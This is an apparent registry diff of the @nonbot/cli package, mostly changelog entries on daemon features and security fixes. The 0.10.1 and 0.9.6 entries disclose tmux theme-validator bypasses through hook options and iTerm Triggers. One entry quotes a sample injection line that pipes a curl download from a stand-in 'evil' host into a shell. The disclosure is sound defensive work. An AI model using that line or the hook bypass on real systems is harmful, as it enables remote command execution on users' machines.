@nonbot/cli 0.9.13 → 0.10.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,198 @@
1
1
  # @nonbot/cli changelog
2
2
 
3
+ ## 0.10.1 (2026-09-09) — SECURITY
4
+
5
+ - **Hardens the tmux theme validator; upgrade if you run `nonbot daemon`.**
6
+ `isSafeTmuxConf` guards a server-supplied cosmetic theme before the daemon
7
+ writes it to disk and hands it to `tmux source-file`, which EXECUTES it. It
8
+ allowlisted the tmux *directive* (`set` / `setw` / `set-option` /
9
+ `set-window-option`) and denylisted three option names. tmux stores HOOKS as
10
+ options, and `man tmux` is explicit that `set-hook` and `set-option` are
11
+ equivalent for them — so a theme line naming a hook used an allowlisted
12
+ directive, named an option the denylist did not cover, and contained none of
13
+ the patterns the validator screens for (`#(`, `$(`, a backtick, a backslash, a
14
+ `;`). It passed every check, and tmux ran the hook's command on the next
15
+ matching pane event.
16
+
17
+ A denylist of option names cannot be complete here: it would have to enumerate
18
+ every hook tmux has now and every one it adds later. The option NAME is now
19
+ ALLOWLISTED instead — presentational suffixes (`-style`, `-format`, `-bg`,
20
+ `-fg`, `-attr`, `-colour`, `-color`, `-length`) plus a short explicit set for
21
+ the cosmetic options that have no such suffix — which refuses every hook by
22
+ construction. `lock-command`, `copy-command` and `editor` joined the forbidden
23
+ set alongside `default-command`, `default-shell` and `command-alias`.
24
+
25
+ Themes produced by the normal generator are unaffected. +20 tests
26
+ (`tests/tmux-theme-allowlist.test.ts`) covering real generated output and 13
27
+ rejected payloads.
28
+
29
+ ## 0.10.0 (2026-09-04)
30
+
31
+ - At-exit transcript for fast-exit runs (memory C32, 2026-09-04): the daemon keeps a rolling
32
+ per-pane tail (scrubbed + 16KB-clamped through the snapshot path, every poll while alive)
33
+ and appends it to the LOCAL `activations.log` as one `exit-transcript` entry when the pane
34
+ vanishes (completed / failed / stopped / untracked) — local-only per S11, metadata-only
35
+ log lines, idempotent. `nonbot logs` summarises it; `--json` carries the tail. Opt out
36
+ with `NONBOT_NO_EXIT_TRANSCRIPT=1`. `src/lib/exit-transcript.ts`; +13 tests.
37
+ - Update-available nudge (DAEMON-UI ⑤, 2026-09-04): once per daemon start and at most
38
+ once per 24h while running, the daemon asks `registry.npmjs.org/@nonbot/cli/latest`
39
+ (3s timeout, own fetch, failure silent) and prints ONE amber line when newer:
40
+ `Update available: @nonbot/cli X → Y (npm i -g @nonbot/cli)`. Opt out with
41
+ `NONBOT_NO_UPDATE_CHECK=1`. Zero runtime deps. `src/lib/update-check.ts`; +21 tests.
42
+ - Stop-daemon restart immunity (2026-09-04): a remote `shutdown` record issued before this
43
+ daemon process started (`requestedAt` < daemon start) is ignored — noted once as
44
+ `stale stop signal ignored` — so a daemon restarted inside the `:all` key's 120s TTL is
45
+ no longer re-killed. Signals with no timestamp (paused cloud runner, old server) are
46
+ still honoured. `shutdownPredatesDaemon` in `daemon-lifecycle.ts`; +8 tests.
47
+ - Hub egress retry buffer is bounded AT ENQUEUE (2026-09-04): `trimRetryQueue` runs on
48
+ every drain into `retryQueue`, not only on the 429 branch — keeps the newest
49
+ `EGRESS_RETRY_MAX` events plus the most recent entry per activation/pane, so a long
50
+ outage can no longer grow the buffer without limit. `hub.retryQueueSize()` exposes the
51
+ count. Tests: `tests/choir/retry-queue-trim.test.ts`.
52
+ - Cost repair (2026-08-03, commit `3f9c7215`): `/api/cli/run-prompts/answered` folded
53
+ into the `/pending` poll body as `answeredPrompts` — a current daemon + current server
54
+ make ONE request per poll cycle instead of two; the standalone endpoint remains as the
55
+ fallback for older servers (feature-detected on field PRESENCE). Also: daemon-held
56
+ wall-clock ceiling (`sweepLocalGuardrails`) and workspace-reaper liveness guards
57
+ (see CLAUDE.md "Cost ceilings").
58
+
59
+ ## 0.9.13 (2026-07-24)
60
+
61
+ - `nonbot daemon attach` — reattach a lost terminal window to the daemon's detached tmux
62
+ session (the local half of the headless-indicator loop: surfaces show
63
+ `connected · headless`, this brings the window back). Probes `tmux has-session` then
64
+ execs interactive `tmux attach -t nonbot` (or `--session <name>`); friendly hint when
65
+ there's no session. Web mirrors it: the headless badge on `/run` is a click-to-copy
66
+ `tmux attach -t <session>` button. `attachDaemonSession` in `daemon-lifecycle.ts`; +4 tests.
67
+
68
+ ## 0.9.12 (2026-07-24)
69
+
70
+ - Stop-daemon-from-any-surface (spec:
71
+ `docs/superpowers/specs/STOP-DAEMON-FROM-ANY-SURFACE-RESEARCH-2026-07-24.md`, decisions
72
+ LOCKED — kill-everything semantics). (1) **Remote stop**: `/pending` may carry
73
+ `shutdown: { requested, scope }` (server KV `cli-daemon-shutdown:<user>:<machine|all>`,
74
+ queued by web `/run`, `/m/runs`, tvOS/iOS/watch, MCP `run_stop_daemon`, or
75
+ `nonbot daemon stop --machine/--all`). The daemon kills every tracked pane (awaited
76
+ `executePendingKills`), sends final run beats, POSTs the `/api/cli/daemon/stop-ack`
77
+ goodbye (server clears heartbeats → surfaces flip instantly), removes its PID file,
78
+ kills its OWN tmux session (no zombie `nonbot` session), exits 0. Handled before new
79
+ activations — never launch work about to be killed. (2) **`nonbot daemon stop`**
80
+ (local-first): PID → SIGTERM → verify (≤3s) → fallback `tmux kill-session -t nonbot`;
81
+ `--machine <id>` / `--all` go remote. (3) **Hardening**: SIGTERM handler (shares the
82
+ SIGINT graceful body), PID file `<configDir>/daemon.pid` (written at startup, removed on
83
+ every exit path, skipped in oneShot), headless indicator `X-Tmux-Attached` per poll
84
+ (`#{session_attached}` probe → "connected · headless" chips web-side). New
85
+ `src/lib/daemon-lifecycle.ts` + `tests/daemon-lifecycle.test.ts` (21 tests); 1476 total green.
86
+
87
+ ## 0.9.10 (2026-07-10)
88
+
89
+ - Daemon visibility slice. (1) Five stat headers on every `/pending` poll
90
+ (`X-Runs-Active/-Done/-Failed`, `X-Prompts-Open`, `X-Poll-Interval-Ms` — always sent,
91
+ zeros meaningful). (2) On-demand output snapshots: `/pending.snapshotRequests[]` →
92
+ `src/lib/snapshot.ts` capture (tail incl. scrollback) → scrub (`pat_`/env-line/Bearer) →
93
+ 16KB tail-clamp → POST `/api/cli/activations/:id/snapshot`; pane resolved ONLY from
94
+ `trackedPanes` (pane-binding invariant), 2xx/409 terminal, KV-only server-side. (3) Non-claude prompt
95
+ reporting from the NEEDS-YOU sweep (same idempotent `rp_` promptId as the claude hook;
96
+ claude panes skipped; codex y/n prompts fail closed — documented limit). (4) `lastSeenAt`
97
+ drift fix + 35s freshness window + `daemonConnected` preference in `status`/`doctor`.
98
+ New `tests/snapshot.test.ts`, `tests/prompt-report-sweep.test.ts`, `tests/status.test.ts`.
99
+
100
+ ## 0.9.7 (2026-06-20)
101
+
102
+ - Daemon UX overhaul — logo-first restyle + the two structural fixes that made it "wonky."
103
+ (1) Killed the in-pane pinned footer (`\r`+erase-to-EOL) — the root cause of "text box
104
+ gets wonky mid-run, scrolling above/behind it." Now: tmux status bar owns the live
105
+ readout (can't be scrolled over); outside tmux a clean `heartbeatLine()` scrolls per
106
+ idle cycle; `liveFooter()` the function is kept (the bug was the daemon's pinning, not
107
+ the content). (2) Masthead size-degrades — `compactMasthead()` one-line strip when the
108
+ pane is tiled below the 63-col/16-row block wordmark, so it never wraps. Palette → the
109
+ logo: cream `#F0EBE2` wordmark + ONE periwinkle-blue `#6C8CFF` dot/accent + blue→indigo
110
+ `gradientRule()`, the `~ $ nonbot run` `promptLine()` signature (daemon-only), retiring
111
+ the 6-hue `WORDMARK_GRADIENT` rainbow. tmux chrome + pane borders retuned to the palette
112
+ with WAITING-ON-YOU loudest (amber). Presentational only — zero wire/protocol/pane-binding
113
+ changes. New `output.ts` helpers (`promptLine`/`gradientRule`/`compactMasthead`/
114
+ `WORDMARK_DOT_COLS`/`c.cream/blue/indigo`) + `daemon.ts` footer rip-out + size-gate.
115
+ Design + real-output screenshots in `docs/mockups/`; 1394 tests green.
116
+
117
+ ## 0.9.6 (2026-06-18)
118
+
119
+ - Daemon + tmux terminal UI upgrade — NEEDS-YOU is now impossible to miss across all three
120
+ local surfaces: the daemon terminal (amber banner + tmux bell + red footer), the tmux
121
+ pane chrome (red `pane-border-status` border + ‼ waiting via `@nb_state`), and a new
122
+ nonbot tmux status bar (`N run · M done · ⚠ NEEDS YOU · host · poll Ns`). Plus a
123
+ self-rewriting live heartbeat footer (replaced in 0.9.7), per-pane titles surfaced via
124
+ `pane-border-status`, and a MACHINE identity row. Zero runtime deps, pane-binding-safe (paneId
125
+ `/^%\d+$/`; only ints / enums / tmux builtins reach the chrome). Chrome defaults on
126
+ inside the daemon's tmux session; opt out with `NONBOT_NO_TMUX_STATUS=1`. New renderers
127
+ in `src/lib/output.ts` + `src/lib/pane-title.ts`; tests in `tests/output.test.ts` +
128
+ `tests/pane-title.test.ts`.
129
+ - Security: 3 daemon command-injection HIGH fixes (regressions of recent work, `41e27661`).
130
+ (1) tmux conf validator `isSafeTmuxConf` now validates EVERY `;`-segment's first token +
131
+ rejects backslash (escaped-newline / `\;` smuggling) + forbids `default-command` /
132
+ `default-shell` / `command-alias` — was: only `token[0]` checked, so
133
+ `set -g x ; run-shell 'curl evil|sh'` reached `tmux source-file` → ran a shell. (2) iTerm
134
+ DynamicProfile now forbids `Triggers` / `Smart Selection Rules` / `Semantic History` /
135
+ `Bound Hosts` (their presence drops the theme — no action introspection needed) — was:
136
+ `Triggers` omitted → `RunCommandTrigger` auto-ran a command. (3) `injectAnswer` /
137
+ `deliverAnsweredPrompts` bind the server-supplied paneId to the daemon's own
138
+ `trackedPanes` (drop untracked activations + any server/local paneId mismatch) — was:
139
+ shape-checked only → a forged answer type could target any `%\d+` pane.
140
+ - Bug-hunt: 7 cli bug fixes (`46a6a22f`). `completion.ts` `listLivePaneIds` returns null
141
+ on a list FAILURE (≠ empty Set) so one `tmux list-panes` hiccup no longer
142
+ false-completes EVERY tracked Run (HIGH); a transient `/complete` POST failure now
143
+ leaves the pane tracked to retry instead of stranding a finished Run;
144
+ `executePendingKills` validates the server `tmuxPaneId` against `/^%\d+$/` before
145
+ send-keys / kill-pane (a forged paneId can't target an arbitrary pane — HIGH);
146
+ `choir/isolated-session.ts` reconcile probes `git status` before the clean-path
147
+ force-remove so a no-commit "Already up to date" branch carrying real uncommitted work
148
+ is left for the human, not `--force`-discarded (§9 data-safety); new
149
+ `src/lib/bounded-set.ts` FIFO `evictOldestToCap` replaces the wholesale
150
+ `injectedPrompts` / `seen` `clear()` — closing the double-keystroke + double-launch windows.
151
+
152
+ ## 0.9.4 / 0.9.5 (2026-06-17)
153
+
154
+ - Worktree isolation + branch-merge reconcile — the two Choir capabilities KEPT under Run
155
+ (the headless conductor was DROPPED). Server migration 115 adds
156
+ `portfolio_activations.isolate` (NULL/0 = shared working tree, the legacy default → zero
157
+ regression; 1 = isolate). For a `set`/`fanout` run marked isolate (NOT `sequence` —
158
+ one-at-a-time, nothing to isolate), the daemon provisions a dedicated `git worktree` on
159
+ a `choir/<session>/<pane>` branch per agent (`src/lib/choir/worktree.ts` +
160
+ `coordinated-set.ts`) so parallel agents never stomp one shared tree, then runs
161
+ reconcile (`src/lib/choir/reconcile.ts` + `isolated-session.ts`): merge branches in
162
+ order, build-gate, and STOP at the first conflict — the human is the gate, NEVER
163
+ `--force`. Git mechanics PROVEN against a real temp repo
164
+ (`tests/choir/reconcile-git-integration.test.ts` +
165
+ `launch-coordinated-set-git-integration.test.ts`). The real-I/O integration test caught
166
+ two production bugs unit-test fakes had masked (both would break the FIRST real isolated
167
+ run): (1) launcher hardcoded `baseBranch='HEAD'` → failed `addWorktree`'s branch regex →
168
+ threw before provisioning anything (fixed: `resolveBaseBranch`); (2) the launcher's
169
+ untracked `.mcp.json` made a no-force `removeWorktree` refuse → leaked worktrees after a
170
+ clean merge (fixed: opt-in `force`, used ONLY on the already-merged clean path).
171
+
172
+ ## 0.9.3 (2026-06-17)
173
+
174
+ - Multi-machine Run routing. The daemon advertises a stable machine id
175
+ (`src/lib/machine.ts`) on every poll as `X-Machine-Id`. Server migration 114 adds
176
+ `portfolio_activations.target_machine_id` (NULL = "any machine", the legacy
177
+ single-daemon behaviour); `/pending` + `/run-prompts/answered` filter to
178
+ `target_machine_id IS NULL OR = <mine>`, so two daemons on ONE account no longer both
179
+ launch every run or cross-deliver answers (tmux pane ids aren't globally unique). A
180
+ `cli-machine` KV registry + `GET /api/cli/machines` back the LaunchComposer machine
181
+ picker (shown at 2+ machines). GOTCHA: a KV `put` with TTL <60s throws (Cloudflare KV
182
+ minimum) → registry stays empty; fixed in `96d0de1a` to clamp ≥60s.
183
+
184
+ ## 0.9.1 (2026-06-17)
185
+
186
+ - Run Prompt Bridge Phase B (daemon). A real claude run gets a Claude Code `Notification`
187
+ hook injected (`--settings .nonbot/hook-<id>.settings.json` → `nonbot run-prompt-hook`);
188
+ the hook captures the paused pane's numbered menu and POSTs it to
189
+ `/api/cli/activations/<id>/prompt`. The daemon poll loop (gated on tracked panes) GETs
190
+ `/run-prompts/answered`, `tmux send-keys` the human's choice into the pane, and POSTs
191
+ `/run-prompts/<id>/delivered`. New `src/lib/run-prompt.ts` +
192
+ `src/commands/run-prompt-hook.ts`; hook injection is opt-in in
193
+ `resolveExecutableCommand` (after the drift/cap checks → no parity drift, pane-binding tests
194
+ unchanged). claude-only. New tests: `tests/run-prompt.test.ts`, `tests/run-prompt-hook.test.ts`.
195
+
3
196
  ## 0.9.0
4
197
 
5
198
  - **Choir collapses into Run.** Launching multiple coordinated agents now comes from the canvas (select stories -> "Run together"), not a terminal command. The daemon groups activations that share a coordinated-set id and launches them with a git worktree per agent + the coordination MCP wired in, each pane on its own per-pane provider (e.g. 2 Claude + 1 Gemini). remains as internal plumbing only.
@@ -70,6 +263,28 @@
70
263
  - Dropped the Ghostty terminal profile (unused). A `ghostty` preference now
71
264
  falls back to the platform default like any other unknown terminal.
72
265
 
266
+ ## 0.5.12 (2026-05-21)
267
+
268
+ - Credential injection into spawned scripts. `spawnTerminalDefault` now accepts `auth` as
269
+ a second parameter and prepends `export NONBOT_PAT=`, `export NONBOT_RUN_ID=`,
270
+ `export NONBOT_BASE_URL=`, and `export NONBOT_ROLE='lead'` to the temp script body.
271
+ `fireActivation` binds auth into a closure for the default path; injected test spawners
272
+ are unaffected. PAT appears only in the 0o700 temp script — never in process args, tmux
273
+ send-keys, osascript args, or log lines. Values are single-quote-escaped via
274
+ `shellQuoteSingle`. Fixes: agents reporting `PAT_LEN=0` + 401s on all
275
+ canvas/portfolio-MCP calls. 11 new tests in `tests/credential-injection.test.ts`.
276
+
277
+ ## 0.5.11 (2026-05-20)
278
+
279
+ - Terminal theming. Activations can carry `payload.terminalTheme` (optional). tmux: writes
280
+ conf to `/tmp/nonbot-theme-<id>.conf` + prepends `tmux source-file` to the script body
281
+ (window-scoped theme). iTerm/iterm-tab: writes iTerm2 DynamicProfile JSON to
282
+ `~/Library/Application Support/iTerm2/DynamicProfiles/nonbot-<id>.json` + opens the
283
+ window with the named profile. Terminal.app: logs a one-line info about the limitation
284
+ and proceeds un-themed. Field validation: any oversized or malformed `terminalTheme` is
285
+ silently dropped (never blocks a Run). `TerminalProfile.launch()` widened to accept
286
+ `opts.itermProfileName`. 28 new tests in `tests/terminal-theme.test.ts`.
287
+
73
288
  ## 0.5.10
74
289
 
75
290
  - Build now strips source comments from the published output, so no internal
@@ -82,10 +297,59 @@
82
297
  - Scrubbed an example email address from the `nonbot status` banner output.
83
298
  - First release published via npm trusted publishing (OIDC) — no token.
84
299
 
85
- ## 0.5.8
300
+ ## 0.5.8 (2026-05-20)
86
301
 
87
302
  - Runs are now marked complete automatically when their terminal closes, so the
88
303
  Recent Activations view on non.bot stays accurate.
304
+ - Internal detail: the daemon tracks launched real-Run tmux panes and POSTs
305
+ `/api/cli/activations/:id/complete` when a pane vanishes, flipping the D1 row
306
+ `running → completed` (server migration 090 widens the status CHECK). Stop-killed panes
307
+ are excluded (cancellation ≠ completion). `fireActivation` now returns
308
+ `ActivationOutcome`. New `src/lib/completion.ts` + 11 tests. Unblocks accurate
309
+ Recent-Activations status and future true queueing.
310
+
311
+ ## 0.5.4 (2026-05-18)
312
+
313
+ - RUN-CLAUDE-BUG-1 fix — unified claude provider with codex/gemini on the AGENTS.md
314
+ "read and start work" prompt. The earlier claude-only `/non.bot:conduct activate <id>`
315
+ slash command pointed at a skill bundle that never shipped (every claude Run was failing
316
+ at first prompt with `Unknown command: /non.bot:conduct`). The fix collapses all three
317
+ providers onto one prompt shape, removes the only Run-host install surface, drops the
318
+ now-dead `realPromptKind: 'slash-conduct'` profile branch in `command-builders.ts`, and
319
+ empties `EXPECTED_SKILLS` in `doctor.ts`. Snapshot test in `tests/sec1-resolver.test.ts`
320
+ pins three-provider parity.
321
+
322
+ ## 2026-05-17 polish pass
323
+
324
+ - (a) First-prompt threading (refined 2026-05-18 — see 0.5.4) so Run-from-canvas no longer
325
+ lands on an empty "ready for input" screen. (b) `daemonOpener()` + `daemonCloser()` in
326
+ `lib/output.ts` replace the bland startup header with a gradient pulse + rotating
327
+ tagline + conversational kvRow labels (you / listening / profile / landing). Cosmetic
328
+ only — no wire changes.
329
+
330
+ ## 0.5.1 (2026-05-17)
331
+
332
+ - tmux pane auto-close on Enter + remote Stop button. Pane id captured
333
+ (`split-window -P -F '#{pane_id}'`) + threaded to D1 (migration 086). Daemon's
334
+ `/pending` poll picks up `pendingKills` array and runs soft-then-hard kill
335
+ (Ctrl-C → 2s grace → `kill-pane`). Activation D1 status is intentionally untouched —
336
+ Stop is a UI cleanup action, not a cancellation.
337
+
338
+ ## 2026-05-16 reliability pass
339
+
340
+ - Three areas hardened in a single day across 5+ iterations: (a) tmux-aware routing +
341
+ auto-wrap into a `'nonbot'` session + `NONBOT TMUX` window labelling, (b) observable
342
+ launch trace (`trace[]` + `launcherStderr/Stdout/ExitCode` posted on ack, joined into
343
+ `/api/cli/activations/recent`), (c) iTerm + Terminal AppleScript bulletproofing via
344
+ `osascript` (Launch Services hijack workaround — `open -a` kept landing in Terminal.app;
345
+ the osascript shape + tmux `new-window` choice landed after 5+ iterations, see
346
+ `git log -- src/lib/terminal.ts`) + `nonbot doctor` extensions for iTerm / MCPs / skills.
347
+
348
+ ## 0.5.0
349
+
350
+ - Adaptive polling cadence — closes the "WebSocket transport" item by decision, not by
351
+ building a DO (DO duration billing would risk the $5 Workers Paid plan; adaptive polling
352
+ is free, stateless, and snappy while a Run is active).
89
353
 
90
354
  ## 0.5.x
91
355
 
@@ -103,3 +367,11 @@
103
367
 
104
368
  - Initial release: `login`, `daemon`, `run`, `status`, and cross-platform terminal
105
369
  launching (macOS, Linux, Windows).
370
+ - Phase 1 (shipped 2026-05-12): install + `nonbot test` banner only — other commands were
371
+ placeholders. Phase 2 (shipped 2026-05-13): `nonbot login` (PAT), `nonbot daemon`
372
+ (poll + spawn), `nonbot run <id>` (one-shot), real `nonbot status`; macOS-only.
373
+ - v0.3.0: pluggable terminal preference (`resolveTerminal` + `TERMINAL_PROFILES`),
374
+ cross-platform spawn (Linux + Windows), `nonbot doctor` health check.
375
+ - v0.4.0: headless mode (`--headless`/`--no-terminal`), multi-account profiles
376
+ (`--profile`), local activation history (`nonbot logs`), login-service install
377
+ (`daemon --install`/`--uninstall`).
@@ -19,6 +19,9 @@ export function buildStartHub(repoRoot, auth) {
19
19
  baseUrl: auth.baseUrl,
20
20
  pat: auth.pat,
21
21
  autoTimers: true,
22
+ log: (s) => {
23
+ process.stderr.write(s);
24
+ },
22
25
  };
23
26
  const hub = createHub(opts);
24
27
  hub.start();